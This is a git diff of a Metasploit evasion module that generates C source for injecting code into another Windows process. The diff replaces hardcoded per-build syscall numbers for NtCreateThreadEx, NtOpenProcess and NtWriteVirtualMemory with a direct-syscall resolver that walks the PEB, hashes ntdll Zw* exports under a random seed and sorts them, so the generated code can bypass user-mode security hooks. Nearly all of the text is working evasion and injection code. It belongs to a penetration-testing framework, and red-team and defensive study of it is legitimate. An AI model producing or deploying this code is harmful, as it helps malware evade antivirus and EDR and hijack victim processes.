NtCreateThreadEx_Check_X_X_XXXX: \\n\\ - cmp dword ptr [rax+0x118], 6 \\n\\ - je NtCreateThreadEx_Check_6_X_XXXX \\n\\ - cmp dword ptr [rax+0x118], 10 \\n\\ - je NtCreateThreadEx_Check_10_0_XXXX \\n\\ - jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ - NtCreateThreadEx_Check_6_X_XXXX: \\n\\ - cmp dword ptr [rax+0x11c], 1 \\n\\ - je NtCreateThreadEx_Check_6_1_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 2 \\n\\ - je NtCreateThreadEx_SystemCall_6_2_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 3 \\n\\ - je NtCreateThreadEx_SystemCall_6_3_XXXX \\n\\ - jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ - NtCreateThreadEx_Check_6_1_XXXX: \\n\\ - cmp word ptr [rax+0x120], 7600 \\n\\ - je NtCreateThreadEx_SystemCall_6_1_7600 \\n\\ - cmp word ptr [rax+0x120], 7601 \\n\\ - je NtCreateThreadEx_SystemCall_6_1_7601 \\n\\ - jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ - NtCreateThreadEx_Check_10_0_XXXX: \\n\\ - cmp word ptr [rax+0x120], 10240 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_10240 \\n\\ - cmp word ptr [rax+0x120], 10586 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_10586 \\n\\ - cmp word ptr [rax+0x120], 14393 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_14393 \\n\\ - cmp word ptr [rax+0x120], 15063 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_15063 \\n\\ - cmp word ptr [rax+0x120], 16299 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_16299 \\n\\ - cmp word ptr [rax+0x120], 17134 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_17134 \\n\\ - cmp word ptr [rax+0x120], 17763 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_17763 \\n\\ - cmp word ptr [rax+0x120], 18362 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_18362 \\n\\ - cmp word ptr [rax+0x120], 18363 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_18363 \\n\\ - cmp word ptr [rax+0x120], 19041 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_19041 \\n\\ - cmp word ptr [rax+0x120], 19042 \\n\\ - je NtCreateThreadEx_SystemCall_10_0_19042 \\n\\ - jmp NtCreateThreadEx_SystemCall_Unknown \\n\\ - NtCreateThreadEx_SystemCall_6_1_7600: \\n\\ - mov eax, 0x00a5 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_6_1_7601: \\n\\ - mov eax, 0x00a5 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_6_2_XXXX: \\n\\ - mov eax, 0x00af \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_6_3_XXXX: \\n\\ - mov eax, 0x00b0 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_10240: \\n\\ - mov eax, 0x00b3 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_10586: \\n\\ - mov eax, 0x00b4 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_14393: \\n\\ - mov eax, 0x00b6 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_15063: \\n\\ - mov eax, 0x00b9 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_16299: \\n\\ - mov eax, 0x00ba \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_17134: \\n\\ - mov eax, 0x00bb \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_17763: \\n\\ - mov eax, 0x00bc \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_18362: \\n\\ - mov eax, 0x00bd \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_18363: \\n\\ - mov eax, 0x00bd \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_19041: \\n\\ - mov eax, 0x00c1 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_10_0_19042: \\n\\ - mov eax, 0x00c1 \\n\\ - jmp NtCreateThreadEx_Epilogue \\n\\ - NtCreateThreadEx_SystemCall_Unknown: \\n\\ - ret \\n\\ - NtCreateThreadEx_Epilogue: \\n\\ - mov r10, rcx \\n\\ - syscall \\n\\ - ret \\n\\ - ).strip + %^ + __asm__("NtCreateThreadEx: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx\\n\\ + mov [rsp+24], r8\\n\\ + mov [rsp+32], r9\\n\\ + sub rsp, 0x28\\n\\ + mov ecx, 0x#{calc_hash 'NtCreateThreadEx'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28\\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16]\\n\\ + mov r8, [rsp+24]\\n\\ + mov r9, [rsp+32]\\n\\ + mov r10, rcx\\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ end def nt_open_process - %( - NtOpenProcess: \\n\\ - mov rax, gs:[0x60] \\n\\ - NtOpenProcess_Check_X_X_XXXX: \\n\\ - cmp dword ptr [rax+0x118], 6 \\n\\ - je NtOpenProcess_Check_6_X_XXXX \\n\\ - cmp dword ptr [rax+0x118], 10 \\n\\ - je NtOpenProcess_Check_10_0_XXXX \\n\\ - jmp NtOpenProcess_SystemCall_Unknown \\n\\ - NtOpenProcess_Check_6_X_XXXX: \\n\\ - cmp dword ptr [rax+0x11c], 1 \\n\\ - je NtOpenProcess_Check_6_1_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 2 \\n\\ - je NtOpenProcess_SystemCall_6_2_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 3 \\n\\ - je NtOpenProcess_SystemCall_6_3_XXXX \\n\\ - jmp NtOpenProcess_SystemCall_Unknown \\n\\ - NtOpenProcess_Check_6_1_XXXX: \\n\\ - cmp word ptr [rax+0x120], 7600 \\n\\ - je NtOpenProcess_SystemCall_6_1_7600 \\n\\ - cmp word ptr [rax+0x120], 7601 \\n\\ - je NtOpenProcess_SystemCall_6_1_7601 \\n\\ - jmp NtOpenProcess_SystemCall_Unknown \\n\\ - NtOpenProcess_Check_10_0_XXXX: \\n\\ - cmp word ptr [rax+0x120], 10240 \\n\\ - je NtOpenProcess_SystemCall_10_0_10240 \\n\\ - cmp word ptr [rax+0x120], 10586 \\n\\ - je NtOpenProcess_SystemCall_10_0_10586 \\n\\ - cmp word ptr [rax+0x120], 14393 \\n\\ - je NtOpenProcess_SystemCall_10_0_14393 \\n\\ - cmp word ptr [rax+0x120], 15063 \\n\\ - je NtOpenProcess_SystemCall_10_0_15063 \\n\\ - cmp word ptr [rax+0x120], 16299 \\n\\ - je NtOpenProcess_SystemCall_10_0_16299 \\n\\ - cmp word ptr [rax+0x120], 17134 \\n\\ - je NtOpenProcess_SystemCall_10_0_17134 \\n\\ - cmp word ptr [rax+0x120], 17763 \\n\\ - je NtOpenProcess_SystemCall_10_0_17763 \\n\\ - cmp word ptr [rax+0x120], 18362 \\n\\ - je NtOpenProcess_SystemCall_10_0_18362 \\n\\ - cmp word ptr [rax+0x120], 18363 \\n\\ - je NtOpenProcess_SystemCall_10_0_18363 \\n\\ - cmp word ptr [rax+0x120], 19041 \\n\\ - je NtOpenProcess_SystemCall_10_0_19041 \\n\\ - cmp word ptr [rax+0x120], 19042 \\n\\ - je NtOpenProcess_SystemCall_10_0_19042 \\n\\ - jmp NtOpenProcess_SystemCall_Unknown \\n\\ - NtOpenProcess_SystemCall_6_1_7600: \\n\\ - mov eax, 0x0023 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_6_1_7601: \\n\\ - mov eax, 0x0023 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_6_2_XXXX: \\n\\ - mov eax, 0x0024 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_6_3_XXXX: \\n\\ - mov eax, 0x0025 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_10240: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_10586: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_14393: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_15063: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_16299: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_17134: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_17763: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_18362: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_18363: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_19041: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_10_0_19042: \\n\\ - mov eax, 0x0026 \\n\\ - jmp NtOpenProcess_Epilogue \\n\\ - NtOpenProcess_SystemCall_Unknown: \\n\\ - ret \\n\\ - NtOpenProcess_Epilogue: \\n\\ - mov r10, rcx \\n\\ - syscall \\n\\ - ret \\n\\ - ).strip - end - - def nt_wait - %( - NtWaitForSingleObject: \\n\\ - mov rax, gs:[0x60] \\n\\ - NtWaitForSingleObject_Check_X_X_XXXX: \\n\\ - cmp dword ptr [rax+0x118], 6 \\n\\ - je NtWaitForSingleObject_Check_6_X_XXXX \\n\\ - cmp dword ptr [rax+0x118], 10 \\n\\ - je NtWaitForSingleObject_Check_10_0_XXXX \\n\\ - jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ - NtWaitForSingleObject_Check_6_X_XXXX: \\n\\ - cmp dword ptr [rax+0x11c], 1 \\n\\ - je NtWaitForSingleObject_Check_6_1_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 2 \\n\\ - je NtWaitForSingleObject_SystemCall_6_2_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 3 \\n\\ - je NtWaitForSingleObject_SystemCall_6_3_XXXX \\n\\ - jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ - NtWaitForSingleObject_Check_6_1_XXXX: \\n\\ - cmp word ptr [rax+0x120], 7600 \\n\\ - je NtWaitForSingleObject_SystemCall_6_1_7600 \\n\\ - cmp word ptr [rax+0x120], 7601 \\n\\ - je NtWaitForSingleObject_SystemCall_6_1_7601 \\n\\ - jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ - NtWaitForSingleObject_Check_10_0_XXXX: \\n\\ - cmp word ptr [rax+0x120], 10240 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_10240 \\n\\ - cmp word ptr [rax+0x120], 10586 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_10586 \\n\\ - cmp word ptr [rax+0x120], 14393 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_14393 \\n\\ - cmp word ptr [rax+0x120], 15063 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_15063 \\n\\ - cmp word ptr [rax+0x120], 16299 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_16299 \\n\\ - cmp word ptr [rax+0x120], 17134 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_17134 \\n\\ - cmp word ptr [rax+0x120], 17763 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_17763 \\n\\ - cmp word ptr [rax+0x120], 18362 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_18362 \\n\\ - cmp word ptr [rax+0x120], 18363 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_18363 \\n\\ - cmp word ptr [rax+0x120], 19041 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_19041 \\n\\ - cmp word ptr [rax+0x120], 19042 \\n\\ - je NtWaitForSingleObject_SystemCall_10_0_19042 \\n\\ - jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ - NtWaitForSingleObject_SystemCall_6_1_7600: \\n\\ - mov eax, 0x0001 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_6_1_7601: \\n\\ - mov eax, 0x0001 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_6_2_XXXX: \\n\\ - mov eax, 0x0002 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_6_3_XXXX: \\n\\ - mov eax, 0x0003 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_10240: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_10586: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_14393: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_15063: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_16299: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_17134: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_17763: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_18362: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_18363: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_19041: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_10_0_19042: \\n\\ - mov eax, 0x0004 \\n\\ - jmp NtWaitForSingleObject_Epilogue \\n\\ - NtWaitForSingleObject_SystemCall_Unknown: \\n\\ - ret \\n\\ - NtWaitForSingleObject_Epilogue: \\n\\ - mov r10, rcx \\n\\ - syscall \\n\\ - ret \\n\\ - ).strip + %^ + __asm__("NtOpenProcess: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx \\n\\ + mov [rsp+24], r8 \\n\\ + mov [rsp+32], r9 \\n\\ + sub rsp, 0x28 \\n\\ + mov ecx, 0x#{calc_hash 'NtOpenProcess'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ end def nt_write %^ - NtWriteVirtualMemory: \\n\\ - mov rax, gs:[0x60] \\n\\ - NtWriteVirtualMemory_Check_X_X_XXXX: \\n\\ - cmp dword ptr [rax+0x118], 6 \\n\\ - je NtWriteVirtualMemory_Check_6_X_XXXX \\n\\ - cmp dword ptr [rax+0x118], 10 \\n\\ - je NtWriteVirtualMemory_Check_10_0_XXXX \\n\\ - jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ - NtWriteVirtualMemory_Check_6_X_XXXX: \\n\\ - cmp dword ptr [rax+0x11c], 1 \\n\\ - je NtWriteVirtualMemory_Check_6_1_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 2 \\n\\ - je NtWriteVirtualMemory_SystemCall_6_2_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 3 \\n\\ - je NtWriteVirtualMemory_SystemCall_6_3_XXXX \\n\\ - jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ - NtWriteVirtualMemory_Check_6_1_XXXX: \\n\\ - cmp word ptr [rax+0x120], 7600 \\n\\ - je NtWriteVirtualMemory_SystemCall_6_1_7600 \\n\\ - cmp word ptr [rax+0x120], 7601 \\n\\ - je NtWriteVirtualMemory_SystemCall_6_1_7601 \\n\\ - jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ - NtWriteVirtualMemory_Check_10_0_XXXX: \\n\\ - cmp word ptr [rax+0x120], 10240 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_10240 \\n\\ - cmp word ptr [rax+0x120], 10586 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_10586 \\n\\ - cmp word ptr [rax+0x120], 14393 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_14393 \\n\\ - cmp word ptr [rax+0x120], 15063 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_15063 \\n\\ - cmp word ptr [rax+0x120], 16299 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_16299 \\n\\ - cmp word ptr [rax+0x120], 17134 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_17134 \\n\\ - cmp word ptr [rax+0x120], 17763 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_17763 \\n\\ - cmp word ptr [rax+0x120], 18362 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_18362 \\n\\ - cmp word ptr [rax+0x120], 18363 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_18363 \\n\\ - cmp word ptr [rax+0x120], 19041 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_19041 \\n\\ - cmp word ptr [rax+0x120], 19042 \\n\\ - je NtWriteVirtualMemory_SystemCall_10_0_19042 \\n\\ - jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ - NtWriteVirtualMemory_SystemCall_6_1_7600: \\n\\ - mov eax, 0x0037 \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_6_1_7601: \\n\\ - mov eax, 0x0037 \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_6_2_XXXX: \\n\\ - mov eax, 0x0038 \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_6_3_XXXX: \\n\\ - mov eax, 0x0039 \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_10240: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_10586: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_14393: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_15063: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_16299: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_17134: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_17763: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_18362: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_18363: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_19041: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_10_0_19042: \\n\\ - mov eax, 0x003a \\n\\ - jmp NtWriteVirtualMemory_Epilogue \\n\\ - NtWriteVirtualMemory_SystemCall_Unknown: \\n\\ - ret \\n\\ - NtWriteVirtualMemory_Epilogue: \\n\\ - mov r10, rcx \\n\\ - syscall \\n\\ - ret \\n\\ - "); - ^ + __asm__("NtWriteVirtualMemory: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx \\n\\ + mov [rsp+24], r8 \\n\\ + mov [rsp+32], r9 \\n\\ + sub rsp, 0x28 \\n\\ + mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ end def headers @@ -661,6 +170,45 @@ class MetasploitModule < Msf::Evasion def defines %^ + #define _SEED 0x#{@hash.to_s(16)} + #define _ROR8(v) (v >> 8 | v << 24) + #define MAX_SYSCALLS 500 + #define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) + + + typedef struct _SYSCALL_ENTRY + { + DWORD Hash; + DWORD Address; + } SYSCALL_ENTRY, *P_SYSCALL_ENTRY; + + typedef struct _SYSCALL_LIST + { + DWORD Count; + SYSCALL_ENTRY Entries[MAX_SYSCALLS]; + } SYSCALL_LIST, *P_SYSCALL_LIST; + + typedef struct _PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; + } PEB_LDR_DATA, *P_PEB_LDR_DATA; + + typedef struct _LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + } LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY; + + typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + P_PEB_LDR_DATA Ldr; + } PEB, *P_PEB; + typedef struct _PS_ATTRIBUTE { ULONG Attribute; @@ -690,33 +238,17 @@ class MetasploitModule < Msf::Evasion PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; - typedef struct _PS_ATTRIBUTE_LIST - { - SIZE_T TotalLength; - PS_ATTRIBUTE Attributes[1]; - } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; - - typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; - EXTERN_C NTSTATUS NtClose( - IN HANDLE Handle); - - EXTERN_C NTSTATUS NtOpenProcess( - OUT PHANDLE ProcessHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN PCLIENT_ID ClientId OPTIONAL); - - - EXTERN_C NTSTATUS NtWaitForSingleObject( - IN HANDLE ObjectHandle, - IN BOOLEAN Alertable, - IN PLARGE_INTEGER TimeOut OPTIONAL); + typedef struct _PS_ATTRIBUTE_LIST + { + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; + } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; EXTERN_C NTSTATUS NtAllocateVirtualMemory( IN HANDLE ProcessHandle, @@ -739,16 +271,141 @@ class MetasploitModule < Msf::Evasion IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); - EXTERN_C NTSTATUS NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL); + + EXTERN_C NTSTATUS NtOpenProcess( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL); + + EXTERN_C NTSTATUS NtClose( + IN HANDLE Handle); ^ end + def syscall_parser + %@ + SYSCALL_LIST _SyscallList; + + DWORD HashSyscall(PCSTR FunctionName) + { + DWORD i = 0; + DWORD Hash = _SEED; + + while (FunctionName[i]) + { + WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); + Hash ^= PartialName + _ROR8(Hash); + } + + return Hash; + } + + BOOL PopulateSyscallList() + { + // Return early if the list is already populated. + if (_SyscallList.Count) return TRUE; + + P_PEB Peb = (P_PEB)__readgsqword(0x60); + P_PEB_LDR_DATA Ldr = Peb->Ldr; + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + PVOID DllBase = NULL; + + // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second + // in the list, so it's safer to loop through the full list and find it. + P_LDR_DATA_TABLE_ENTRY LdrEntry; + for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) + { + DllBase = LdrEntry->DllBase; + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; + PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); + PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; + DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (VirtualAddress == 0) continue; + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); + + // If this is NTDLL.dll, exit loop. + PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name); + + if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; + if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; + } + + if (!ExportDirectory) return FALSE; + + DWORD NumberOfNames = ExportDirectory->NumberOfNames; + PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); + PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); + PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); + + // Populate _SyscallList with unsorted Zw* entries. + DWORD i = 0; + P_SYSCALL_ENTRY Entries = _SyscallList.Entries; + do + { + PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); + + // Is this a system call? + if (*(USHORT*)FunctionName == 'wZ') + { + Entries[i].Hash = HashSyscall(FunctionName); + Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; + + i++; + if (i == MAX_SYSCALLS) break; + } + } while (--NumberOfNames); + + // Save total number of system calls found. + _SyscallList.Count = i; + + // Sort the list by address in ascending order. + for (DWORD i = 0; i < _SyscallList.Count - 1; i++) + { + for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++) + { + if (Entries[j].Address > Entries[j + 1].Address) + { + // Swap entries. + SYSCALL_ENTRY TempEntry; + + TempEntry.Hash = Entries[j].Hash; + TempEntry.Address = Entries[j].Address; + + Entries[j].Hash = Entries[j + 1].Hash; + Entries[j].Address = Entries[j + 1].Address; + + Entries[j + 1].Hash = TempEntry.Hash; + Entries[j + 1].Address = TempEntry.Address; + } + } + } + + return TRUE; + } + + extern DWORD GetSyscallNumber(DWORD FunctionHash) + { + if (!PopulateSyscallList()) return -1; + for (DWORD i = 0; i < _SyscallList.Count; i++) + { + if (FunctionHash == _SyscallList.Entries[i].Hash) + { + return i; + } + } + return -1; + } + @ + end + def filler %( char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; @@ -873,6 +530,7 @@ class MetasploitModule < Msf::Evasion end def run + @hash = rand 2**28..2**32 - 1 comp_opts = '-masm=intel -w -mwindows ' src = headers src << defines @@ -880,8 +538,8 @@ class MetasploitModule < Msf::Evasion src << nt_close src << nt_create_thread src << nt_open_process - src << nt_wait src << nt_write + src << syscall_parser src << exec_func src << inject src << main From a4a2a4d5cc38583274fc23f58b9bae6682a1bf26 Mon Sep 17 00:00:00 2001 From: kensh1ro Date: Thu, 5 Aug 2021 18:26:58 +0300 Subject: 